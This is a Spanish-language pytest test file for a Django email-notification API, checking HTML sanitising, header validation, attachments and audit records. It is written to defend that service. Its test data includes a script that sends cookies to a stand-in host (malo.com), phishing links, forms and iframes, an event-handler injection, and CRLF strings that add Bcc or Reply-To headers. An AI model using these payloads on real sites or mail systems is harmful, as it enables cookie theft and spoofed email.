"""Pruebas del canal de correo: envio, validacion y saneado de plantillas."""

from __future__ import annotations

import base64

import pytest
from django.urls import reverse

from notifications.models.message import Channel, MessageStatus, NotificationMessage
from notifications.models.payload import MessagePayloadBlob
from notifications.services.templates import render_notification_email, sanear
from notifications.tests.conftest import PNG_MINIMO

pytestmark = pytest.mark.django_db


@pytest.fixture
def correo_valido() -> dict:
    return {
        "from_email": "avisos@ejemplo.com",
        "to": ["destino@ejemplo.com"],
        "subject": "Aviso de prueba",
        "html": "<p>Hola</p>",
    }


def enviar(cliente, correo, **extra):
    return cliente.post(reverse("v1:mail-send"), {**correo, **extra}, format="json")


def detalles(respuesta) -> dict:
    return respuesta.json()["error"].get("details") or {}


# ---------------------------------------------------------------------------
# Endpoint heredado de notificacion de sistema
# ---------------------------------------------------------------------------


def test_la_plantilla_de_sistema_envia_sin_salir_a_la_red(api_autenticada):
    """
    Antes esto hacia dos peticiones HTTP a api-mails (una para el token y otra
    para el envio). Ahora se compone y se envia aqui.
    """
    respuesta = api_autenticada.post(
        reverse("v1:mail-send-template"),
        {
            "to": ["destino@ejemplo.com"],
            "to_cco": ["copia@ejemplo.com"],
            "system": "Ventanilla Notarial",
            "notification": "El folio: <b>HUIX-970630-CVC/89</b> se creó correctamente.",
        },
        format="json",
    )

    assert respuesta.status_code == 202
    cuerpo = respuesta.json()
    assert cuerpo["channel"] == Channel.EMAIL
    assert cuerpo["recipients"] == 2

    mensaje = NotificationMessage.objects.get(pk=cuerpo["message_id"])
    assert mensaje.to == ["destino@ejemplo.com"]
    assert mensaje.bcc == ["copia@ejemplo.com"]
    assert "Ventanilla Notarial" in mensaje.subject


def test_el_contrato_heredado_no_pide_campos_nuevos(api_autenticada):
    """`to_cco` es opcional, igual que antes."""
    respuesta = api_autenticada.post(
        reverse("v1:mail-send-template"),
        {"to": ["destino@ejemplo.com"], "system": "S", "notification": "N"},
        format="json",
    )
    assert respuesta.status_code == 202


# ---------------------------------------------------------------------------
# Saneado del HTML que mandan los sistemas
# ---------------------------------------------------------------------------


def test_se_conserva_el_formato_que_ya_usan():
    """Los sistemas mandan negritas y cursivas a proposito."""
    assert "<b>" in sanear("El folio <b>ABC-123</b> se creó")
    assert "<em>" in sanear("<em>importante</em>")
    assert "<br>" in sanear("linea<br>otra")


@pytest.mark.parametrize(
    "peligroso",
    [
        '<script>fetch("https://malo.com?c="+document.cookie)</script>',
        '<a href="https://banco-falso.com">Entra aquí</a>',
        '<img src="https://malo.com/pixel.gif">',
        '<form action="https://malo.com"><input name="clave"></form>',
        '<iframe src="https://malo.com"></iframe>',
        '<b onmouseover="alert(1)">texto</b>',
        '<b style="position:absolute;top:0">texto</b>',
    ],
)
def test_se_elimina_el_html_peligroso(peligroso):
    """
    Con el `|safe` anterior, cualquiera con una credencial podia meter un
    enlace o un formulario en un correo firmado por el dominio de la empresa:
    la materia prima de un correo de suplantacion creible.
    """
    limpio = sanear(peligroso)
    for prohibido in ("script", "href", "src", "<form", "<iframe", "onmouseover", "style="):
        assert prohibido not in limpio


def test_el_asunto_nunca_lleva_etiquetas():
    asunto, _ = render_notification_email("<b>Sistema</b>", "cuerpo")
    assert "<b>" not in asunto
    assert "Sistema" in asunto


def test_la_plantilla_no_reintroduce_el_html_sin_filtrar():
    _, html = render_notification_email(
        "Sistema", '<script>alert(1)</script> texto <b>en negrita</b>'
    )
    assert "<script>" not in html
    assert "<b>en negrita</b>" in html


# ---------------------------------------------------------------------------
# Validacion del endpoint general
# ---------------------------------------------------------------------------


@pytest.mark.parametrize(
    ("campo", "valor"),
    [
        ("subject", "Factura\r\nBcc: atacante@malo.com"),
        ("subject", "Factura\nX-Cabecera: inyectada"),
        ("from_name", "Zurco\r\nReply-To: atacante@malo.com"),
    ],
)
def test_se_rechaza_la_inyeccion_de_cabeceras(
    api_autenticada, correo_valido, campo, valor
):
    respuesta = enviar(api_autenticada, correo_valido, **{campo: valor})
    assert respuesta.status_code == 400
    assert campo in detalles(respuesta)


def test_se_rechaza_un_remitente_de_dominio_ajeno(api_autenticada, correo_valido):
    respuesta = enviar(
        api_autenticada, correo_valido, from_email="soporte@bancoajeno.com"
    )
    assert respuesta.status_code == 400
    assert "from_email" in detalles(respuesta)


def test_no_se_pueden_sobrescribir_las_cabeceras_reservadas(
    api_autenticada, correo_valido
):
    respuesta = enviar(
        api_autenticada, correo_valido, headers={"Bcc": "atacante@malo.com"}
    )
    assert respuesta.status_code == 400


def test_se_limita_el_numero_de_destinatarios(api_autenticada, correo_valido):
    respuesta = enviar(
        api_autenticada,
        correo_valido,
        to=[f"persona{i}@ejemplo.com" for i in range(60)],
    )
    assert respuesta.status_code == 400


def test_hace_falta_cuerpo_o_plantilla(api_autenticada, correo_valido):
    correo = {**correo_valido}
    correo.pop("html")
    assert enviar(api_autenticada, correo).status_code == 400


def test_se_rechaza_una_extension_peligrosa(api_autenticada, correo_valido):
    respuesta = enviar(
        api_autenticada,
        correo_valido,
        attachments=[
            {
                "filename": "factura.exe",
                "content": base64.b64encode(PNG_MINIMO).decode("ascii"),
            }
        ],
    )
    assert respuesta.status_code == 400


def test_se_admite_un_adjunto_valido(api_autenticada, correo_valido):
    respuesta = enviar(
        api_autenticada,
        correo_valido,
        attachments=[
            {
                "filename": "logo.png",
                "content": base64.b64encode(PNG_MINIMO).decode("ascii"),
            }
        ],
    )
    assert respuesta.status_code == 202

    mensaje = NotificationMessage.objects.get(pk=respuesta.json()["message_id"])
    assert mensaje.attachment_count == 1


def test_gmail_no_admite_plantillas_del_proveedor(api_autenticada, correo_valido):
    respuesta = enviar(
        api_autenticada, correo_valido, provider="gmail", template_id="d-abc"
    )
    assert respuesta.status_code == 400


# ---------------------------------------------------------------------------
# Flujo de envio y auditoria
# ---------------------------------------------------------------------------


def test_envio_sincrono_responde_200(api_autenticada, correo_valido):
    respuesta = enviar(api_autenticada, correo_valido, send_async=False)

    assert respuesta.status_code == 200
    assert respuesta.json()["queued"] is False
    assert respuesta.json()["status"] == MessageStatus.SENT


def test_el_contenido_temporal_se_borra_al_completar(api_autenticada, correo_valido):
    respuesta = enviar(api_autenticada, correo_valido, send_async=False)

    assert not MessagePayloadBlob.objects.filter(
        message_id=respuesta.json()["message_id"]
    ).exists()


def test_se_registra_la_trazabilidad(api_autenticada, correo_valido):
    respuesta = enviar(api_autenticada, correo_valido)
    mensaje = NotificationMessage.objects.get(pk=respuesta.json()["message_id"])

    assert mensaje.request_id == respuesta.json()["request_id"]
    assert mensaje.channel == Channel.EMAIL
    assert mensaje.sender == "avisos@ejemplo.com"


def test_por_defecto_no_se_guarda_el_cuerpo(api_autenticada, correo_valido):
    respuesta = enviar(api_autenticada, correo_valido)
    mensaje = NotificationMessage.objects.get(pk=respuesta.json()["message_id"])

    assert mensaje.body_html == ""


def test_se_consulta_el_estado_de_un_envio(api_autenticada, autenticar, correo_valido):
    creado = enviar(api_autenticada, correo_valido, send_async=False).json()

    autenticar(api_autenticada)  # el token anterior ya se consumio
    respuesta = api_autenticada.get(
        reverse("v1:mail-status", args=[creado["message_id"]])
    )

    assert respuesta.status_code == 200
    cuerpo = respuesta.json()
    assert cuerpo["status"] == MessageStatus.SENT
    assert cuerpo["to"] == ["destino@ejemplo.com"]


def test_la_consulta_no_expone_la_copia_oculta(
    api_autenticada, autenticar, correo_valido
):
    creado = enviar(
        api_autenticada, correo_valido, bcc=["secreto@ejemplo.com"], send_async=False
    ).json()

    autenticar(api_autenticada)
    cuerpo = api_autenticada.get(
        reverse("v1:mail-status", args=[creado["message_id"]])
    ).json()

    assert "bcc" not in cuerpo
    assert cuerpo["bcc_count"] == 1


def test_el_sistema_no_puede_inyectar_cabeceras(api_autenticada):
    """
    `system` acaba dentro del asunto, asi que un `\\r\\n` permitia anadir
    cabeceras propias —`Bcc:` entre ellas—. Era el unico de los tres canales
    sin la comprobacion: /mail/send ya la hacia sobre `subject` y WhatsApp
    sobre este mismo campo.
    """
    respuesta = api_autenticada.post(
        reverse("v1:mail-send-template"),
        {
            "to": ["destino@ejemplo.com"],
            "system": "Facturacion\r\nBcc: atacante@ejemplo.com",
            "notification": "hola",
        },
        format="json",
    )

    assert respuesta.status_code == 400
    # El proyecto envuelve los errores de validacion en `error.details`.
    assert "system" in respuesta.json()["error"]["details"]


def test_el_cuerpo_de_la_notificacion_si_admite_saltos(api_autenticada):
    """`notification` solo se incrusta en el cuerpo: ahi son legitimos."""
    respuesta = api_autenticada.post(
        reverse("v1:mail-send-template"),
        {
            "to": ["destino@ejemplo.com"],
            "system": "Facturacion",
            "notification": "Primera linea\nSegunda linea",
        },
        format="json",
    )

    assert respuesta.status_code in (200, 202)
